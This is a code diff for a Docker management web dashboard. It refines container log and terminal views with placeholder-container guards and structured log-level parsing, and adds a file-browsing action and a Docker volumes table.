|
<AlertDialogDescription>
|
||||||
|
{forcePrompt?.message} Do you want to force the deletion? This may
|
||||||
|
affect containers still using this image.
|
||||||
|
</AlertDialogDescription>
|
||||||
|
</AlertDialogHeader>
|
||||||
|
<AlertDialogFooter>
|
||||||
|
<AlertDialogCancel onClick={() => setForcePrompt(null)}>
|
||||||
|
Cancel
|
||||||
|
</AlertDialogCancel>
|
||||||
|
<AlertDialogAction
|
||||||
|
variant="destructive"
|
||||||
|
onClick={() =>
|
||||||
|
forcePrompt && handleDelete(forcePrompt.image, true)
|
||||||
|
}
|
||||||
|
>
|
||||||
|
Force delete
|
||||||
|
</AlertDialogAction>
|
||||||
|
</AlertDialogFooter>
|
||||||
|
</AlertDialogContent>
|
||||||
|
</AlertDialog>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -26,6 +26,11 @@ interface Props {
|
|||||||
serviceId?: string;
|
serviceId?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Sentinel the container-picker views fall back to before a real container
|
||||||
|
// is selected/auto-selected — querying logs for it just surfaces Docker's
|
||||||
|
// raw "No such container: select-a-container" daemon error.
|
||||||
|
const PLACEHOLDER_CONTAINER_ID = "select-a-container";
|
||||||
|
|
||||||
export const priorities = [
|
export const priorities = [
|
||||||
{
|
{
|
||||||
label: "Info",
|
label: "Info",
|
||||||
@@ -55,13 +60,16 @@ export const DockerLogsId: React.FC<Props> = ({
|
|||||||
runType,
|
runType,
|
||||||
serviceId,
|
serviceId,
|
||||||
}) => {
|
}) => {
|
||||||
|
const hasContainer =
|
||||||
|
!!containerId && containerId !== PLACEHOLDER_CONTAINER_ID;
|
||||||
|
|
||||||
const { data } = api.docker.getConfig.useQuery(
|
const { data } = api.docker.getConfig.useQuery(
|
||||||
{
|
{
|
||||||
containerId,
|
containerId,
|
||||||
serverId: serverId ?? undefined,
|
serverId: serverId ?? undefined,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
enabled: !!containerId,
|
enabled: hasContainer,
|
||||||
},
|
},
|
||||||
);
|
);
|
||||||
|
|
||||||
@@ -134,7 +142,7 @@ export const DockerLogsId: React.FC<Props> = ({
|
|||||||
};
|
};
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (!containerId) return;
|
if (!hasContainer) return;
|
||||||
|
|
||||||
let isCurrentConnection = true;
|
let isCurrentConnection = true;
|
||||||
let noDataTimeout: NodeJS.Timeout;
|
let noDataTimeout: NodeJS.Timeout;
|
||||||
@@ -425,10 +433,15 @@ export const DockerLogsId: React.FC<Props> = ({
|
|||||||
<div className="flex justify-center items-center h-full text-muted-foreground">
|
<div className="flex justify-center items-center h-full text-muted-foreground">
|
||||||
<Loader2 className="h-6 w-6 animate-spin" />
|
<Loader2 className="h-6 w-6 animate-spin" />
|
||||||
</div>
|
</div>
|
||||||
) : (
|
) : hasContainer ? (
|
||||||
<div className="flex justify-center items-center h-full text-muted-foreground">
|
<div className="flex justify-center items-center h-full text-muted-foreground">
|
||||||
No logs found
|
No logs found
|
||||||
</div>
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="flex justify-center items-center h-full text-center text-sm text-muted-foreground px-8">
|
||||||
|
Select a container above to view its logs. If none are listed,
|
||||||
|
make sure the service is deployed and running.
|
||||||
|
</div>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -72,8 +72,68 @@ export function parseLogs(logString: string): LogLine[] {
|
|||||||
.filter((log) => log !== null);
|
.filter((log) => log !== null);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const LEVEL_NAME_TO_TYPE: Record<string, LogType> = {
|
||||||
|
trace: "debug",
|
||||||
|
debug: "debug",
|
||||||
|
info: "info",
|
||||||
|
information: "info",
|
||||||
|
notice: "info",
|
||||||
|
warn: "warning",
|
||||||
|
warning: "warning",
|
||||||
|
error: "error",
|
||||||
|
err: "error",
|
||||||
|
fatal: "error",
|
||||||
|
critical: "error",
|
||||||
|
panic: "error",
|
||||||
|
alert: "error",
|
||||||
|
emergency: "error",
|
||||||
|
};
|
||||||
|
|
||||||
|
const numericLevelToType = (level: number): LogType => {
|
||||||
|
// pino/bunyan scale: 10=trace 20=debug 30=info 40=warn 50=error 60=fatal
|
||||||
|
if (level >= 50) return "error";
|
||||||
|
if (level >= 40) return "warning";
|
||||||
|
if (level >= 30) return "info";
|
||||||
|
if (level >= 10) return "debug";
|
||||||
|
// syslog/GELF scale: 0=emergency ... 7=debug
|
||||||
|
if (level <= 3) return "error";
|
||||||
|
if (level === 4) return "warning";
|
||||||
|
if (level <= 6) return "info";
|
||||||
|
return "debug";
|
||||||
|
};
|
||||||
|
|
||||||
|
// Extract the log level explicitly declared by structured loggers
|
||||||
|
// (pino, bunyan, winston, zap, slog, logfmt, GCP severity)
|
||||||
|
const getExplicitLevelType = (message: string): LogType | null => {
|
||||||
|
// JSON string levels: {"level":"error"} / {"severity":"ERROR"} / {"log.level":"warn"}
|
||||||
|
const jsonStringMatch = message.match(
|
||||||
|
/"(?:level|severity|log\.level|loglevel)"\s*:\s*"([a-z]+)"/i,
|
||||||
|
);
|
||||||
|
if (jsonStringMatch?.[1]) {
|
||||||
|
return LEVEL_NAME_TO_TYPE[jsonStringMatch[1].toLowerCase()] ?? null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// JSON numeric levels: {"level":50}
|
||||||
|
const jsonNumericMatch = message.match(/"level"\s*:\s*(\d{1,2})\b/);
|
||||||
|
if (jsonNumericMatch?.[1]) {
|
||||||
|
return numericLevelToType(Number(jsonNumericMatch[1]));
|
||||||
|
}
|
||||||
|
|
||||||
|
// logfmt: level=error
|
||||||
|
const logfmtMatch = message.match(/(?:^|\s)(?:level|severity)=([a-z]+)\b/i);
|
||||||
|
if (logfmtMatch?.[1]) {
|
||||||
|
return LEVEL_NAME_TO_TYPE[logfmtMatch[1].toLowerCase()] ?? null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
};
|
||||||
|
|
||||||
// Detect log type based on message content
|
// Detect log type based on message content
|
||||||
export const getLogType = (message: string): LogStyle => {
|
export const getLogType = (message: string): LogStyle => {
|
||||||
|
// A level explicitly declared by the logger wins over any inference
|
||||||
|
const explicitType = getExplicitLevelType(message);
|
||||||
|
if (explicitType) return LOG_STYLES[explicitType];
|
||||||
|
|
||||||
// Detect HTTP statusCode
|
// Detect HTTP statusCode
|
||||||
const statusMatch = message.match(/"statusCode"\s*:\s*"?(\d{3})"?/);
|
const statusMatch = message.match(/"statusCode"\s*:\s*"?(\d{3})"?/);
|
||||||
|
|
||||||
@@ -97,17 +157,27 @@ export const getLogType = (message: string): LogStyle => {
|
|||||||
return LOG_STYLES.info;
|
return LOG_STYLES.info;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Key/value pairs that explicitly report a non-error (e.g. "error: none",
|
||||||
|
// "failed: false") must not trigger the error keyword patterns below
|
||||||
|
const nonErrorColonPairs =
|
||||||
|
/\b(?:error|err|errors|failed|failure|failures)\s*:\s*(?:none|null|nil|false|0|no|-|""|'')(?=[,;.)\]]|$)/gi;
|
||||||
|
const nonErrorLogfmtPairs =
|
||||||
|
/\b(?:error|err|errors|failed|failure|failures)\s*=\s*(?:none|null|nil|false|0|no|-|""|'')(?=[\s,;.)\]]|$)/gi;
|
||||||
|
const errorScope = lowerMessage
|
||||||
|
.replace(nonErrorColonPairs, "")
|
||||||
|
.replace(nonErrorLogfmtPairs, "");
|
||||||
|
|
||||||
if (
|
if (
|
||||||
/(?:^|\s)(?:error|err):?\s/i.test(lowerMessage) ||
|
/(?:^|\s)(?:error|err):?\s/i.test(errorScope) ||
|
||||||
/\b(?:exception|failed|failure)\b/i.test(lowerMessage) ||
|
/\b(?:exception|failed|failure)\b/i.test(errorScope) ||
|
||||||
/(?:stack\s?trace):\s*$/i.test(lowerMessage) ||
|
/(?:stack\s?trace):\s*$/i.test(errorScope) ||
|
||||||
/^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(lowerMessage) ||
|
/^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(errorScope) ||
|
||||||
/\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(lowerMessage) ||
|
/\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(errorScope) ||
|
||||||
/Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(lowerMessage) ||
|
/Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(errorScope) ||
|
||||||
/\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(lowerMessage) ||
|
/\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(errorScope) ||
|
||||||
/\[(?:error|err|fatal)\]/i.test(lowerMessage) ||
|
/\[(?:error|err|fatal)\]/i.test(errorScope) ||
|
||||||
/\b(?:crash|critical|fatal)\b/i.test(lowerMessage) ||
|
/\b(?:crash|critical|fatal)\b/i.test(errorScope) ||
|
||||||
/\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(lowerMessage)
|
/\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(errorScope)
|
||||||
) {
|
) {
|
||||||
return LOG_STYLES.error;
|
return LOG_STYLES.error;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ import {
|
|||||||
DropdownMenuTrigger,
|
DropdownMenuTrigger,
|
||||||
} from "@/components/ui/dropdown-menu";
|
} from "@/components/ui/dropdown-menu";
|
||||||
import { ShowContainerConfig } from "../config/show-container-config";
|
import { ShowContainerConfig } from "../config/show-container-config";
|
||||||
|
import { FilesExplorerModal } from "../files/files-explorer-modal";
|
||||||
import { ShowDockerModalLogs } from "../logs/show-docker-modal-logs";
|
import { ShowDockerModalLogs } from "../logs/show-docker-modal-logs";
|
||||||
import { ShowContainerMounts } from "../mounts/show-container-mounts";
|
import { ShowContainerMounts } from "../mounts/show-container-mounts";
|
||||||
import { ShowContainerNetworks } from "../networks/show-container-networks";
|
import { ShowContainerNetworks } from "../networks/show-container-networks";
|
||||||
@@ -173,6 +174,12 @@ export const columns: ColumnDef<Container>[] = [
|
|||||||
>
|
>
|
||||||
Terminal
|
Terminal
|
||||||
</DockerTerminalModal>
|
</DockerTerminalModal>
|
||||||
|
<FilesExplorerModal
|
||||||
|
containerId={container.containerId}
|
||||||
|
serverId={container.serverId || undefined}
|
||||||
|
>
|
||||||
|
Browse Files
|
||||||
|
</FilesExplorerModal>
|
||||||
<UploadFileModal
|
<UploadFileModal
|
||||||
containerId={container.containerId}
|
containerId={container.containerId}
|
||||||
serverId={container.serverId || undefined}
|
serverId={container.serverId || undefined}
|
||||||
|
|||||||
@@ -3,8 +3,10 @@ import React, { useEffect, useRef } from "react";
|
|||||||
import { FitAddon } from "xterm-addon-fit";
|
import { FitAddon } from "xterm-addon-fit";
|
||||||
import "@xterm/xterm/css/xterm.css";
|
import "@xterm/xterm/css/xterm.css";
|
||||||
import { AttachAddon } from "@xterm/addon-attach";
|
import { AttachAddon } from "@xterm/addon-attach";
|
||||||
|
import { ClipboardAddon } from "@xterm/addon-clipboard";
|
||||||
import { useTheme } from "next-themes";
|
import { useTheme } from "next-themes";
|
||||||
import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
|
import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
|
||||||
|
import { fixMacOsAltKeys } from "@/lib/terminal-keyboard";
|
||||||
|
|
||||||
interface Props {
|
interface Props {
|
||||||
id: string;
|
id: string;
|
||||||
@@ -13,6 +15,10 @@ interface Props {
|
|||||||
serviceId?: string;
|
serviceId?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Sentinel the container-picker modal renders with before a real container
|
||||||
|
// is selected/auto-selected — never worth opening a connection for.
|
||||||
|
const PLACEHOLDER_CONTAINER_ID = "select-a-container";
|
||||||
|
|
||||||
export const DockerTerminal: React.FC<Props> = ({
|
export const DockerTerminal: React.FC<Props> = ({
|
||||||
id,
|
id,
|
||||||
containerId,
|
containerId,
|
||||||
@@ -23,55 +29,105 @@ export const DockerTerminal: React.FC<Props> = ({
|
|||||||
const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
|
const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
|
||||||
const { resolvedTheme } = useTheme();
|
const { resolvedTheme } = useTheme();
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
const container = document.getElementById(id);
|
if (!containerId || containerId === PLACEHOLDER_CONTAINER_ID) {
|
||||||
if (container) {
|
return;
|
||||||
container.innerHTML = "";
|
|
||||||
}
|
}
|
||||||
const term = new Terminal({
|
|
||||||
cursorBlink: true,
|
let cancelled = false;
|
||||||
lineHeight: 1.4,
|
let term: Terminal | null = null;
|
||||||
convertEol: true,
|
let ws: WebSocket | null = null;
|
||||||
theme: {
|
let resizeObserver: ResizeObserver | null = null;
|
||||||
cursor: resolvedTheme === "light" ? "#000000" : "transparent",
|
|
||||||
background: "rgba(0, 0, 0, 0)",
|
// Deferred a frame so React StrictMode's dev-only phantom mount+cleanup
|
||||||
foreground: "currentColor",
|
// (which runs synchronously, before anything paints) never creates a
|
||||||
},
|
// terminal in the first place — dodges a known xterm.js dispose race
|
||||||
|
// (xtermjs/xterm.js#5011) where a deferred internal callback outlives
|
||||||
|
// term.dispose() and reads renderer state that's already gone.
|
||||||
|
const frame = requestAnimationFrame(() => {
|
||||||
|
if (cancelled) return;
|
||||||
|
|
||||||
|
const container = document.getElementById(id);
|
||||||
|
if (container) {
|
||||||
|
container.innerHTML = "";
|
||||||
|
}
|
||||||
|
term = new Terminal({
|
||||||
|
cursorBlink: true,
|
||||||
|
lineHeight: 1.4,
|
||||||
|
convertEol: true,
|
||||||
|
theme: {
|
||||||
|
cursor: resolvedTheme === "light" ? "#000000" : "transparent",
|
||||||
|
background: "rgba(0, 0, 0, 0)",
|
||||||
|
foreground: "currentColor",
|
||||||
|
},
|
||||||
|
});
|
||||||
|
const addonFit = new FitAddon();
|
||||||
|
const clipboardAddon = new ClipboardAddon();
|
||||||
|
term.loadAddon(clipboardAddon);
|
||||||
|
fixMacOsAltKeys(term);
|
||||||
|
// @ts-expect-error
|
||||||
|
term.open(termRef.current);
|
||||||
|
term.loadAddon(addonFit);
|
||||||
|
addonFit.fit();
|
||||||
|
|
||||||
|
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
|
||||||
|
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}&cols=${term.cols}&rows=${term.rows}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`;
|
||||||
|
|
||||||
|
ws = new WebSocket(wsUrl);
|
||||||
|
const addonAttach = new AttachAddon(ws);
|
||||||
|
term.loadAddon(addonAttach);
|
||||||
|
|
||||||
|
const sendResize = (cols: number, rows: number) => {
|
||||||
|
if (ws && ws.readyState === WebSocket.OPEN) {
|
||||||
|
ws.send(JSON.stringify({ type: "resize", cols, rows }));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
term.onResize(({ cols, rows }) => sendResize(cols, rows));
|
||||||
|
|
||||||
|
resizeObserver = new ResizeObserver(() => addonFit.fit());
|
||||||
|
if (termRef.current) {
|
||||||
|
resizeObserver.observe(termRef.current);
|
||||||
|
}
|
||||||
});
|
});
|
||||||
const addonFit = new FitAddon();
|
|
||||||
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
|
|
||||||
|
|
||||||
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`;
|
|
||||||
|
|
||||||
const ws = new WebSocket(wsUrl);
|
|
||||||
|
|
||||||
const addonAttach = new AttachAddon(ws);
|
|
||||||
// @ts-ignore
|
|
||||||
term.open(termRef.current);
|
|
||||||
// @ts-ignore
|
|
||||||
term.loadAddon(addonFit);
|
|
||||||
term.loadAddon(addonAttach);
|
|
||||||
addonFit.fit();
|
|
||||||
return () => {
|
return () => {
|
||||||
ws.readyState === WebSocket.OPEN && ws.close();
|
cancelled = true;
|
||||||
|
cancelAnimationFrame(frame);
|
||||||
|
resizeObserver?.disconnect();
|
||||||
|
if (ws && ws.readyState === WebSocket.OPEN) {
|
||||||
|
ws.close();
|
||||||
|
}
|
||||||
|
term?.dispose();
|
||||||
};
|
};
|
||||||
}, [containerId, activeWay, id]);
|
}, [containerId, activeWay, id]);
|
||||||
|
|
||||||
|
const hasContainer =
|
||||||
|
!!containerId && containerId !== PLACEHOLDER_CONTAINER_ID;
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="flex flex-col gap-4">
|
<div className="flex flex-col gap-4">
|
||||||
<div className="flex flex-col gap-2 mt-4">
|
{hasContainer && (
|
||||||
<span>
|
<div className="flex flex-col gap-2 mt-4">
|
||||||
Select way to connect to <b>{containerId}</b>
|
<span>
|
||||||
</span>
|
Select way to connect to <b>{containerId}</b>
|
||||||
<Tabs value={activeWay} onValueChange={setActiveWay}>
|
</span>
|
||||||
<TabsList>
|
<Tabs value={activeWay} onValueChange={setActiveWay}>
|
||||||
<TabsTrigger value="bash">Bash</TabsTrigger>
|
<TabsList>
|
||||||
<TabsTrigger value="sh">/bin/sh</TabsTrigger>
|
<TabsTrigger value="bash">Bash</TabsTrigger>
|
||||||
</TabsList>
|
<TabsTrigger value="sh">/bin/sh</TabsTrigger>
|
||||||
</Tabs>
|
</TabsList>
|
||||||
</div>
|
</Tabs>
|
||||||
<div className="w-full h-full rounded-lg p-2 bg-transparent border">
|
</div>
|
||||||
<div id={id} ref={termRef} />
|
)}
|
||||||
</div>
|
{hasContainer ? (
|
||||||
|
<div className="w-full h-[420px] rounded-lg p-2 bg-transparent border">
|
||||||
|
<div id={id} ref={termRef} className="h-full" />
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="flex h-[420px] w-full items-center justify-center rounded-lg border border-dashed p-4 text-center text-sm text-muted-foreground">
|
||||||
|
Select a container above to open a terminal. If none are listed, make
|
||||||
|
sure the service is deployed and running.
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -0,0 +1,434 @@
|
|||||||
|
"use client";
|
||||||
|
|
||||||
|
import {
|
||||||
|
type ColumnDef,
|
||||||
|
flexRender,
|
||||||
|
getCoreRowModel,
|
||||||
|
getPaginationRowModel,
|
||||||
|
getSortedRowModel,
|
||||||
|
type PaginationState,
|
||||||
|
type SortingState,
|
||||||
|
useReactTable,
|
||||||
|
} from "@tanstack/react-table";
|
||||||
|
import type { inferRouterOutputs } from "@trpc/server";
|
||||||
|
import {
|
||||||
|
ArrowUpDown,
|
||||||
|
Eye,
|
||||||
|
FolderOpen,
|
||||||
|
HardDrive,
|
||||||
|
Loader2,
|
||||||
|
Trash2,
|
||||||
|
} from "lucide-react";
|
||||||
|
import { useMemo, useState } from "react";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { FilesExplorerModal } from "@/components/dashboard/docker/files/files-explorer-modal";
|
||||||
|
import { AlertBlock } from "@/components/shared/alert-block";
|
||||||
|
import { CodeEditor } from "@/components/shared/code-editor";
|
||||||
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Card,
|
||||||
|
CardContent,
|
||||||
|
CardDescription,
|
||||||
|
CardHeader,
|
||||||
|
CardTitle,
|
||||||
|
} from "@/components/ui/card";
|
||||||
|
import {
|
||||||
|
Dialog,
|
||||||
|
DialogContent,
|
||||||
|
DialogDescription,
|
||||||
|
DialogHeader,
|
||||||
|
DialogTitle,
|
||||||
|
DialogTrigger,
|
||||||
|
} from "@/components/ui/dialog";
|
||||||
|
import { Input } from "@/components/ui/input";
|
||||||
|
import {
|
||||||
|
Table,
|
||||||
|
TableBody,
|
||||||
|
TableCell,
|
||||||
|
TableHead,
|
||||||
|
TableHeader,
|
||||||
|
TableRow,
|
||||||
|
} from "@/components/ui/table";
|
||||||
|
import type { AppRouter } from "@/server/api/root";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
type VolumeRow =
|
||||||
|
inferRouterOutputs<AppRouter>["dockerVolume"]["getVolumes"][number];
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
serverId?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
const SIZE_UNITS: Record<string, number> = {
|
||||||
|
b: 1,
|
||||||
|
kb: 1e3,
|
||||||
|
mb: 1e6,
|
||||||
|
gb: 1e9,
|
||||||
|
tb: 1e12,
|
||||||
|
};
|
||||||
|
|
||||||
|
const parseSize = (size?: string) => {
|
||||||
|
if (!size) return -1;
|
||||||
|
const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim());
|
||||||
|
if (!match?.[1] || !match[2]) return -1;
|
||||||
|
return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1);
|
||||||
|
};
|
||||||
|
|
||||||
|
const SortableHeader = ({
|
||||||
|
column,
|
||||||
|
title,
|
||||||
|
}: {
|
||||||
|
column: {
|
||||||
|
getIsSorted: () => false | "asc" | "desc";
|
||||||
|
toggleSorting: (asc: boolean) => void;
|
||||||
|
};
|
||||||
|
title: string;
|
||||||
|
}) => (
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
className="-ml-3 h-8"
|
||||||
|
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
|
||||||
|
>
|
||||||
|
{title}
|
||||||
|
<ArrowUpDown className="ml-2 size-4" />
|
||||||
|
</Button>
|
||||||
|
);
|
||||||
|
|
||||||
|
const ShowVolumeConfig = ({
|
||||||
|
volumeName,
|
||||||
|
serverId,
|
||||||
|
}: {
|
||||||
|
volumeName: string;
|
||||||
|
serverId?: string;
|
||||||
|
}) => {
|
||||||
|
const [open, setOpen] = useState(false);
|
||||||
|
const { data, isLoading, error } = api.dockerVolume.getVolumeConfig.useQuery(
|
||||||
|
{ volumeName, serverId },
|
||||||
|
{ enabled: open },
|
||||||
|
);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Dialog open={open} onOpenChange={setOpen}>
|
||||||
|
<DialogTrigger asChild>
|
||||||
|
<Button variant="ghost" size="icon-sm" aria-label="View volume config">
|
||||||
|
<Eye className="size-4" />
|
||||||
|
</Button>
|
||||||
|
</DialogTrigger>
|
||||||
|
<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
|
||||||
|
<DialogHeader>
|
||||||
|
<DialogTitle>Volume Config</DialogTitle>
|
||||||
|
<DialogDescription>
|
||||||
|
docker volume inspect output for "{volumeName}"
|
||||||
|
</DialogDescription>
|
||||||
|
</DialogHeader>
|
||||||
|
{error ? (
|
||||||
|
<AlertBlock type="error">{error.message}</AlertBlock>
|
||||||
|
) : isLoading ? (
|
||||||
|
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
|
||||||
|
<span>Loading...</span>
|
||||||
|
<Loader2 className="animate-spin size-4" />
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
|
||||||
|
<code>
|
||||||
|
<pre className="whitespace-pre-wrap wrap-break-word">
|
||||||
|
<CodeEditor
|
||||||
|
language="json"
|
||||||
|
lineWrapping
|
||||||
|
lineNumbers={false}
|
||||||
|
readOnly
|
||||||
|
value={JSON.stringify(data, null, 2)}
|
||||||
|
/>
|
||||||
|
</pre>
|
||||||
|
</code>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</DialogContent>
|
||||||
|
</Dialog>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
export const ShowVolumes = ({ serverId }: Props) => {
|
||||||
|
const utils = api.useUtils();
|
||||||
|
const [sorting, setSorting] = useState<SortingState>([
|
||||||
|
{ id: "Name", desc: false },
|
||||||
|
]);
|
||||||
|
const [globalFilter, setGlobalFilter] = useState("");
|
||||||
|
const [pagination, setPagination] = useState<PaginationState>({
|
||||||
|
pageIndex: 0,
|
||||||
|
pageSize: 10,
|
||||||
|
});
|
||||||
|
|
||||||
|
const { data: volumes, isLoading } = api.dockerVolume.getVolumes.useQuery({
|
||||||
|
serverId,
|
||||||
|
});
|
||||||
|
const { data: sizes, isLoading: isLoadingSizes } =
|
||||||
|
api.dockerVolume.getVolumesSize.useQuery({ serverId });
|
||||||
|
|
||||||
|
const sizeByName = useMemo(
|
||||||
|
() => new Map((sizes ?? []).map((entry) => [entry.name, entry.size])),
|
||||||
|
[sizes],
|
||||||
|
);
|
||||||
|
const { mutateAsync: removeVolume } =
|
||||||
|
api.dockerVolume.removeVolume.useMutation();
|
||||||
|
|
||||||
|
const filteredData = useMemo(() => {
|
||||||
|
const list = volumes ?? [];
|
||||||
|
if (!globalFilter.trim()) {
|
||||||
|
return list;
|
||||||
|
}
|
||||||
|
const query = globalFilter.toLowerCase();
|
||||||
|
return list.filter((volume) => volume.Name.toLowerCase().includes(query));
|
||||||
|
}, [volumes, globalFilter]);
|
||||||
|
|
||||||
|
const columns = useMemo<ColumnDef<VolumeRow>[]>(
|
||||||
|
() => [
|
||||||
|
{
|
||||||
|
accessorKey: "Name",
|
||||||
|
header: ({ column }) => <SortableHeader column={column} title="Name" />,
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<div
|
||||||
|
className="max-w-[280px] truncate font-medium"
|
||||||
|
title={row.original.Name}
|
||||||
|
>
|
||||||
|
{row.original.Name}
|
||||||
|
</div>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
accessorKey: "Driver",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Driver" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<Badge variant="outline">{row.original.Driver}</Badge>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
accessorKey: "Scope",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Scope" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="text-muted-foreground">{row.original.Scope}</span>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "Size",
|
||||||
|
header: ({ column }) => <SortableHeader column={column} title="Size" />,
|
||||||
|
sortingFn: (a, b) =>
|
||||||
|
parseSize(sizeByName.get(a.original.Name) ?? undefined) -
|
||||||
|
parseSize(sizeByName.get(b.original.Name) ?? undefined),
|
||||||
|
cell: ({ row }) =>
|
||||||
|
isLoadingSizes ? (
|
||||||
|
<Loader2 className="size-3.5 animate-spin text-muted-foreground" />
|
||||||
|
) : (
|
||||||
|
<span className="text-muted-foreground">
|
||||||
|
{sizeByName.get(row.original.Name) ?? "-"}
|
||||||
|
</span>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
accessorKey: "Mountpoint",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Mountpoint" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<div
|
||||||
|
className="max-w-[320px] truncate font-mono text-xs text-muted-foreground"
|
||||||
|
title={row.original.Mountpoint}
|
||||||
|
>
|
||||||
|
{row.original.Mountpoint}
|
||||||
|
</div>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "actions",
|
||||||
|
enableSorting: false,
|
||||||
|
header: () => <div className="text-right">Actions</div>,
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<div className="flex items-center justify-end gap-3">
|
||||||
|
<FilesExplorerModal
|
||||||
|
volumeName={row.original.Name}
|
||||||
|
serverId={serverId}
|
||||||
|
asDropdownItem={false}
|
||||||
|
>
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
size="icon-sm"
|
||||||
|
aria-label="Browse volume files"
|
||||||
|
>
|
||||||
|
<FolderOpen className="size-4" />
|
||||||
|
</Button>
|
||||||
|
</FilesExplorerModal>
|
||||||
|
<ShowVolumeConfig
|
||||||
|
volumeName={row.original.Name}
|
||||||
|
serverId={serverId}
|
||||||
|
/>
|
||||||
|
<DialogAction
|
||||||
|
title="Delete volume"
|
||||||
|
description={`The volume "${row.original.Name}" will be removed from Docker. This action cannot be undone.`}
|
||||||
|
onClick={async () => {
|
||||||
|
try {
|
||||||
|
await removeVolume({
|
||||||
|
volumeName: row.original.Name,
|
||||||
|
serverId,
|
||||||
|
});
|
||||||
|
toast.success("Volume deleted");
|
||||||
|
await utils.dockerVolume.getVolumes.invalidate();
|
||||||
|
} catch (error) {
|
||||||
|
toast.error("Error deleting volume", {
|
||||||
|
description:
|
||||||
|
error instanceof Error ? error.message : "Unknown error",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<Button variant="ghost" size="icon-sm" aria-label="Delete volume">
|
||||||
|
<Trash2 className="size-4 text-destructive" />
|
||||||
|
</Button>
|
||||||
|
</DialogAction>
|
||||||
|
</div>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
],
|
||||||
|
[serverId, removeVolume, utils, sizeByName, isLoadingSizes],
|
||||||
|
);
|
||||||
|
|
||||||
|
const table = useReactTable({
|
||||||
|
data: filteredData,
|
||||||
|
columns,
|
||||||
|
state: {
|
||||||
|
sorting,
|
||||||
|
pagination,
|
||||||
|
},
|
||||||
|
onSortingChange: setSorting,
|
